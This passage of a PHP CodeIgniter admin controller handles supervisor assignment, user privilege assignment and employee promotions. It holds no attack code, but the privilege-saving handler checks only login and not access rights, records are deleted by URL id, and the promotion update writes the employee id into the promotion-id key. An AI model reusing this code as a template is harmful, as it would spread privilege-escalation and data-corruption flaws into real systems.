For Supervisor Module */ public function assignSupervisor() { if ($this->sessionvalidator->isLoggedIn()) { $viewData['desigCategories'] = $this->DesignationManagement->getActiveNonDeletedDesignationCategories()->result(); $viewData['supervisors'] = $this->StaffManagement->getAllSupervisorEmployees()->result(); $this->load->view('admin/staff/assignSupervisor', $viewData); } else { redirect("admin/"); } } public function saveNewSupervisorAssignment() { if ($this->sessionvalidator->isLoggedIn()) { $this->form_validation->set_rules('subordinateDesigCat', 'Subordinate Employee Designation Category', 'trim|required', array('required' => 'Please Select Subordinate Employee Designation Category.')); $this->form_validation->set_rules('subordinateDesig', 'Subordinate Employee Designation', 'trim|required', array('required' => 'Please Select Subordinate Employee Designation.')); $this->form_validation->set_rules('subordinateUser', 'Subordinate Employee', 'trim|required', array('required' => 'Please Select Subordinate Employee.')); $this->form_validation->set_rules('supervisorUser', 'Supervisor Employee', 'trim|required', array('required' => 'Please Select Supervisor Employee.')); if ($this->form_validation->run() == FALSE) { $this->assignSupervisor(); } else { $subordinateId = trim($this->input->post('subordinateUser')); $subordinateAssignmentInfo = $this->StaffManagement->getSupervisorInfoBySubordinate($subordinateId)->result(); if (sizeof($subordinateAssignmentInfo)) { $supvisorAssignmentId = $subordinateAssignmentInfo[0]->sup_id; $supervisorAssignmentUpdate = array( 'sup_id' => $supvisorAssignmentId, 'sup_smember_id' => trim($this->input->post('supervisorUser')), 'sub_smember_id' => $subordinateId, 'sup_updated_on' => date("Y-m-d H:i:s"), 'sup_updated_by' => $this->session->userdata("adminData")["smember_id"] ); if ($this->StaffManagement->updateSupervisorAssignmentInfo($supervisorAssignmentUpdate)) { $this->session->set_flashdata('successMessage', 'Previous Assignment Was Found. Overriden With New Selection Successfully.'); redirect("admin/Staff/supervisors"); } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While overriding Previous Supervisor Assignment. Try Later.'); redirect(current_url()); } } else { $newSupervisorAssignmentData = array( 'sup_smember_id' => trim($this->input->post('supervisorUser')), 'sub_smember_id' => $subordinateId, 'sup_assigned_on' => date("Y-m-d H:i:s"), 'sup_assigned_by' => $this->session->userdata("adminData")["smember_id"], 'sup_updated_on' => date("Y-m-d H:i:s"), 'sup_updated_by' => $this->session->userdata("adminData")["smember_id"] ); if ($this->StaffManagement->createNewSupervisorAssignment($newSupervisorAssignmentData)) { $this->session->set_flashdata('successMessage', 'Supervisor Assignment Successful.'); redirect("admin/Staff/supervisors"); } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Assigning Supervisor. Try Later.'); redirect(current_url()); } } } } else { redirect("admin/"); } } public function deleteSupervisorAssignment($sup_id) { if ($this->sessionvalidator->isLoggedIn()) { $this->StaffManagement->deleteAssignmentMappingRecord($sup_id); $this->session->set_flashdata('successMessage', 'Supervisor Assignment Removed Successfully.'); redirect("admin/Staff/supervisors"); } else { redirect("admin/"); } } /* Request Handlers For Supervisor Module */ /* Request Handlers For Priviledge Assignment Module */ public function priviledges() { if ($this->sessionvalidator->isLoggedIn() && $this->sessionvalidator->isAccessGranted()) { $this->session->unset_userdata("priviledgeInfo"); $viewData['desigCategories'] = $this->DesignationManagement->getActiveNonDeletedDesignationCategories()->result(); $this->load->view('admin/staff/priviledgesStepOne', $viewData); } else { redirect("admin/"); } } public function proceedToStepTwo($selectedUser = "") { if ($this->sessionvalidator->isLoggedIn()) { if ($selectedUser == "") { $this->form_validation->set_rules('userDesigCat', 'Employee Designation Category', 'trim|required', array('required' => 'Please Select Employee Designation Category.')); $this->form_validation->set_rules('userDesig', 'Employee Designation', 'trim|required', array('required' => 'Please Select Employee Designation.')); $this->form_validation->set_rules('user', 'Employee', 'trim|required', array('required' => 'Please Select The Employee.')); if ($this->form_validation->run() == FALSE) { $this->priviledges(); } else { $allAssignmentInfo = array(); $selectedUser = $this->input->post('user'); $this->session->set_userdata("priviledgeInfo", $selectedUser); $getSelectedUserInfo = $this->StaffManagement->getEmployeeInfoBy($selectedUser)->result()[0]; $allMainMenus = $this->MenuManagement->getNonDeletedActiveOperationGroups()->result(); foreach ($allMainMenus as $mainMenu) { $allSubMenus = $this->MenuManagement->getAllActiveNonDeletedOperationsUnderGroup($mainMenu->group_id)->result(); $thisSubMenuWithAssignmentInfo = array(); foreach ($allSubMenus as $subMenus) { $thisSubMenuWithAssignment = array( 'oprtn_id' => $subMenus->oprtn_id, 'oprtn_name' => $subMenus->oprtn_name, 'is_oprtn_assigned' => ($this->MenuManagement->isOperationAssigned($subMenus->oprtn_id, $selectedUser)) ? 1 : 0, ); array_push($thisSubMenuWithAssignmentInfo, $thisSubMenuWithAssignment); } $thisMenuDataWithAssignmentInfo = array( 'group_id' => $mainMenu->group_id, 'group_name' => $mainMenu->group_name, 'group_icon' => $mainMenu->group_icon, 'is_group_isolated' => ($mainMenu->group_slug_url != NULL || $mainMenu->group_slug_url != "") ? 1 : 0, 'is_group_assigned' => ($this->MenuManagement->isOperationGroupAssigned($mainMenu->group_id, $selectedUser)) ? 1 : 0, 'operations' => $thisSubMenuWithAssignmentInfo ); array_push($allAssignmentInfo, $thisMenuDataWithAssignmentInfo); } $assignmentInfo = array( 'smember_id' => $selectedUser, 'name' => stripslashes($getSelectedUserInfo->tprfl_firstname . " " . $getSelectedUserInfo->tprfl_lastname), 'signinid' => $getSelectedUserInfo->tld_signinid, 'priviledge_assignment' => $allAssignmentInfo ); $viewData['assignmentInfo'] = $assignmentInfo; $this->load->view('admin/staff/priviledgesStepTwo', $viewData); } } else { $allAssignmentInfo = array(); $selectedUser = $this->session->userdata("priviledgeInfo"); $getSelectedUserInfo = $this->StaffManagement->getEmployeeInfoBy($selectedUser)->result()[0]; $allMainMenus = $this->MenuManagement->getNonDeletedActiveOperationGroups()->result(); foreach ($allMainMenus as $mainMenu) { $allSubMenus = $this->MenuManagement->getAllActiveNonDeletedOperationsUnderGroup($mainMenu->group_id)->result(); $thisSubMenuWithAssignmentInfo = array(); foreach ($allSubMenus as $subMenus) { $thisSubMenuWithAssignment = array( 'oprtn_id' => $subMenus->oprtn_id, 'oprtn_name' => $subMenus->oprtn_name, 'is_oprtn_assigned' => ($this->MenuManagement->isOperationAssigned($subMenus->oprtn_id, $selectedUser)) ? 1 : 0, ); array_push($thisSubMenuWithAssignmentInfo, $thisSubMenuWithAssignment); } $thisMenuDataWithAssignmentInfo = array( 'group_id' => $mainMenu->group_id, 'group_name' => $mainMenu->group_name, 'group_icon' => $mainMenu->group_icon, 'is_group_isolated' => ($mainMenu->group_slug_url != NULL || $mainMenu->group_slug_url != "") ? 1 : 0, 'is_group_assigned' => ($this->MenuManagement->isOperationGroupAssigned($mainMenu->group_id, $selectedUser)) ? 1 : 0, 'operations' => $thisSubMenuWithAssignmentInfo ); array_push($allAssignmentInfo, $thisMenuDataWithAssignmentInfo); } $assignmentInfo = array( 'smember_id' => $selectedUser, 'name' => stripslashes($getSelectedUserInfo->tprfl_firstname . " " . $getSelectedUserInfo->tprfl_lastname), 'signinid' => $getSelectedUserInfo->tld_signinid, 'priviledge_assignment' => $allAssignmentInfo ); $viewData['assignmentInfo'] = $assignmentInfo; $this->load->view('admin/staff/priviledgesStepTwo', $viewData); } } else { redirect("admin/"); } } public function savePriviledge() { if ($this->sessionvalidator->isLoggedIn()) { $operationSelection = $this->input->post('operations'); $operationGroupSelection = $this->input->post('groups'); $smemberId = $this->input->post('selectedUser'); $areOperationsChecked = 0; $areOperationGroupsChecked = 0; $operationsToAssign = array(); $operationGroupToAssign = array(); if (!empty($operationSelection)) { if (sizeof($operationSelection)) { foreach ($operationSelection as $operations) { $thisSelectedOperation = array( 'oprtn_id' => $operations, 'group_id' => $this->input->post("operationGroup[$operations]"), 'smember_id' => $smemberId, 'assigned_by' => $this->session->userdata("adminData")["smember_id"], 'assigned_on' => date("Y-m-d H:i:s") ); array_push($operationsToAssign, $thisSelectedOperation); } } else { $areOperationsChecked++; } } else { $areOperationsChecked++; } if (!empty($operationGroupSelection)) { if (sizeof($operationGroupSelection)) { foreach ($operationGroupSelection as $operationGroup) { $thisSelectedOperationGroup = array( 'oprtn_id' => 0, 'group_id' => $operationGroup, 'smember_id' => $smemberId, 'assigned_by' => $this->session->userdata("adminData")["smember_id"], 'assigned_on' => date("Y-m-d H:i:s") ); array_push($operationGroupToAssign, $thisSelectedOperationGroup); } } else { $areOperationGroupsChecked++; } } else { $areOperationGroupsChecked++; } if ($areOperationsChecked && $areOperationGroupsChecked) { $this->session->set_flashdata('errorMessage', "At Least One Operation Or Operation Group Must Be Selected In Order To Assign Priviledge To Selected User."); $this->proceedToStepTwo($smemberId); } else { $this->db->trans_start(); $this->MenuManagement->deleteUserGroupFilesRecordsBy($smemberId); if (sizeof($operationGroupToAssign) && sizeof($operationsToAssign)) { if ($this->MenuManagement->createNewUserGroupFilesRecordsMulti($operationsToAssign) && $this->MenuManagement->createNewUserGroupFilesRecordsMulti($operationGroupToAssign)) { $this->db->trans_complete(); $this->session->set_flashdata('successMessage', 'Operation(s) & Group(s) Assigned Successfully.'); redirect("admin/Staff/priviledges"); } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Assigning Operations(s) & Group(s). Try Later.'); redirect(current_url()); } } else if (sizeof($operationGroupToAssign)) { if ($this->MenuManagement->createNewUserGroupFilesRecordsMulti($operationGroupToAssign)) { $this->db->trans_complete(); $this->session->set_flashdata('successMessage', 'Group(s) Assigned Successfully.'); redirect("admin/Staff/priviledges"); } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Assigning Group(s). Try Later.'); redirect(current_url()); } } else { if ($this->MenuManagement->createNewUserGroupFilesRecordsMulti($operationsToAssign)) { $this->db->trans_complete(); $this->session->set_flashdata('successMessage', 'Operation(s) Assigned Successfully.'); redirect("admin/Staff/priviledges"); } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Assigning Operation(s). Try Later.'); redirect(current_url()); } } } } else { redirect("admin/"); } } /* Request Handlers For Priviledge Assignment Module */ /* Request Handlers For Promotion Module */ public function promotion() { if ($this->sessionvalidator->isLoggedIn() && $this->sessionvalidator->isAccessGranted()) { $viewData['workingEmployee'] = $this->StaffManagement->getAllWorkingEmployees()->result(); if (isset($_POST['filterSubmitBtn'])) { $selectedEmployee = $this->input->post('employee'); if (trim($selectedEmployee) == "") { $viewData['promotionInfo'] = $this->StaffManagement->getAllEmployeesPromotions()->result(); } else { $viewData['promotionInfo'] = $this->StaffManagement->getEmployeeAllPromotions($selectedEmployee)->result(); } } else { $viewData['promotionInfo'] = $this->StaffManagement->getAllEmployeesPromotions()->result(); } $this->load->view('admin/staff/employeePromotions', $viewData); } else { redirect("admin/"); } } public function createPromotion() { if ($this->sessionvalidator->isLoggedIn()) { $viewData['workingEmployee'] = $this->StaffManagement->getAllWorkingEmployees()->result(); $viewData['departments'] = $this->DepartmentManagement->getActiveNonDeletedDepartments()->result(); $viewData['desigCategories'] = $this->DesignationManagement->getActiveNonDeletedDesignationCategories()->result(); $this->load->view('admin/staff/createEmployeePromotion', $viewData); } else { redirect("admin/"); } } public function saveNewPromotion() { if ($this->sessionvalidator->isLoggedIn()) { $this->form_validation->set_rules('employee', 'Employee', 'trim|required', array('required' => 'Please Select An Employee For Promotion.')); $this->form_validation->set_rules('dept', 'Employee Department', 'trim|required', array('required' => 'Please Select Employee Department.')); $this->form_validation->set_rules('subDept', 'Employee Sub-Department', 'trim|required', array('required' => 'Please Select Employee Sub-Department.')); $this->form_validation->set_rules('empDesig', 'Employee Designation', 'trim|required', array('required' => 'Please Select Employee Designation.')); $this->form_validation->set_rules('empDOJ', 'Date Of Joining', 'trim|required', array('required' => 'Please Choose Date Of Joining.')); if ($this->form_validation->run() == FALSE) { $this->createPromotion(); } else if (sizeof($this->StaffManagement->getEmployeePromotionInfoByDesignation(trim($this->input->post('employee')), trim($this->input->post('empDesig')))->result())) { $this->session->set_flashdata('errorMessage', "This Designation Can Not Be Alloted As Either This Employee Is Currently Working On This Designation Or He/She May Have Worked On This Designation Earlier. Please Choose A Different Designation."); $this->createPromotion(); } else { $newPromotionInfo = array( 'smember_id' => trim($this->input->post('employee')), 'desig_id' => trim($this->input->post('empDesig')), 'spm_doj' => date("Y-m-d", strtotime(str_replace('/', '-', $this->input->post('empDOJ')))), 'spm_dor' => (trim($this->input->post('empDOR')) == "" ) ? NULL : date("Y-m-d", strtotime(str_replace('/', '-', $this->input->post('empDOR')))), 'spm_added_by' => $this->session->userdata("adminData")["smember_id"], 'spm_added_on' => date("Y-m-d H:i:s"), 'spm_updated_by' => $this->session->userdata("adminData")["smember_id"], 'spm_updated_on' => date("Y-m-d H:i:s") ); $this->db->trans_start(); if ($this->StaffManagement->createNewPromotion($newPromotionInfo)) { $employeeInfo = $this->StaffManagement->getEmployeeInfoBy(trim($this->input->post('employee')))->result()[0]; $employeeProfileUpdateInfo = array( 'tprfl_id' => $employeeInfo->tprfl_id, 'desig_id' => trim($this->input->post('empDesig')), 'tprfl_updated_on' => date("Y-m-d H:i:s"), 'tprfl_updated_by' => $this->session->userdata("adminData")["smember_id"] ); if ($this->StaffManagement->updateProfileInfo($employeeProfileUpdateInfo)) { $this->db->trans_complete(); $this->session->set_flashdata('successMessage', 'Employee Promoted Successfully.'); redirect("admin/Staff/promotion"); } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Updating Profile. Try Later.'); redirect(current_url()); } } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Updating Promoting Employee. Try Later.'); redirect(current_url()); } } } else { redirect("admin/"); } } public function editPromotion($smp_id) { if ($this->sessionvalidator->isLoggedIn()) { $viewData['workingEmployee'] = $this->StaffManagement->getAllWorkingEmployees()->result(); $viewData['departments'] = $this->DepartmentManagement->getActiveNonDeletedDepartments()->result(); $viewData['desigCategories'] = $this->DesignationManagement->getActiveNonDeletedDesignationCategories()->result(); $viewData['empPromotionInfo'] = $this->StaffManagement->getEmployeePromotionInfoBy($smp_id)->result()[0]; $this->load->view('admin/staff/editEmployeePromotion', $viewData); } else { redirect("admin/"); } } public function updatePromotion() { if ($this->sessionvalidator->isLoggedIn()) { $smemberId = $this->input->post('employee'); $promotionId = $this->input->post('promotionId'); $this->form_validation->set_rules('dept', 'Employee Department', 'trim|required', array('required' => 'Please Select Employee Department.')); $this->form_validation->set_rules('subDept', 'Employee Sub-Department', 'trim|required', array('required' => 'Please Select Employee Sub-Department.')); $this->form_validation->set_rules('empDesigCat', 'Employee Designation Category', 'trim|required', array('required' => 'Please Select Employee Designation Category.')); $this->form_validation->set_rules('empDesig', 'Employee Designation', 'trim|required', array('required' => 'Employee Designation Can Not Be Blank.')); $this->form_validation->set_rules('empDOJ', 'Date Of Joining', 'trim|required', array('required' => 'Date Of Joining Can Not Be Blank.')); if ($this->form_validation->run() == FALSE) { $this->editPromotion($promotionId); } else if (sizeof($this->StaffManagement->getEmployeePromotionInfoByDesignation($smemberId, trim($this->input->post('empDesig')))->result())) { $this->session->set_flashdata('errorMessage', "This Designation Can Not Be Alloted As Either This Employee Is Currently Working On This Designation Or He/She May Have Worked On This Designation Earlier. Please Choose A Different Designation."); $this->editPromotion($promotionId); } else { $promotionUpdateInfo = array( 'spm_id' => $smemberId, 'desig_id' => trim($this->input->post('empDesig')), 'spm_doj' => date("Y-m-d", strtotime(str_replace('/', '-', $this->input->post('empDOJ')))), 'spm_dor' => (trim($this->input->post('empDOR')) == "Not Updated" ) ? NULL : date("Y-m-d", strtotime(str_replace('/', '-', $this->input->post('empDOR')))), 'spm_updated_by' => $this->session->userdata("adminData")["smember_id"], 'spm_updated_on' => date("Y-m-d H:i:s") ); $this->db->trans_start(); if ($this->StaffManagement->updateEmployeePromotionInfo($promotionUpdateInfo)) { $employeeInfo = $this->StaffManagement->getEmployeeInfoBy($smemberId)->result()[0]; $lastPromotionInfo = $this->StaffManagement->getLastPromotionOfEmployeeBy($smemberId)->result()[0]; $employeeProfileUpdateInfo = array( 'tprfl_id' => $employeeInfo->tprfl_id, 'desig_id' => $lastPromotionInfo->desig_id, 'tprfl_updated_on' => date("Y-m-d H:i:s"), 'tprfl_updated_by' => $this->session->userdata("adminData")["smember_id"] ); if ($this->StaffManagement->updateProfileInfo($employeeProfileUpdateInfo)) { $this->db->trans_complete(); $this->session->set_flashdata('successMessage', 'Promotion Info Updated Successfully.'); redirect("admin/Staff/promotion"); } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Updating Profile. Try Later.'); redirect(current_url()); } } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Updating Promotion Info. Try Later.'); redirect(current_url()); } } } else { redirect("admin/"); } } /* Request Handlers For Promotion Module */ }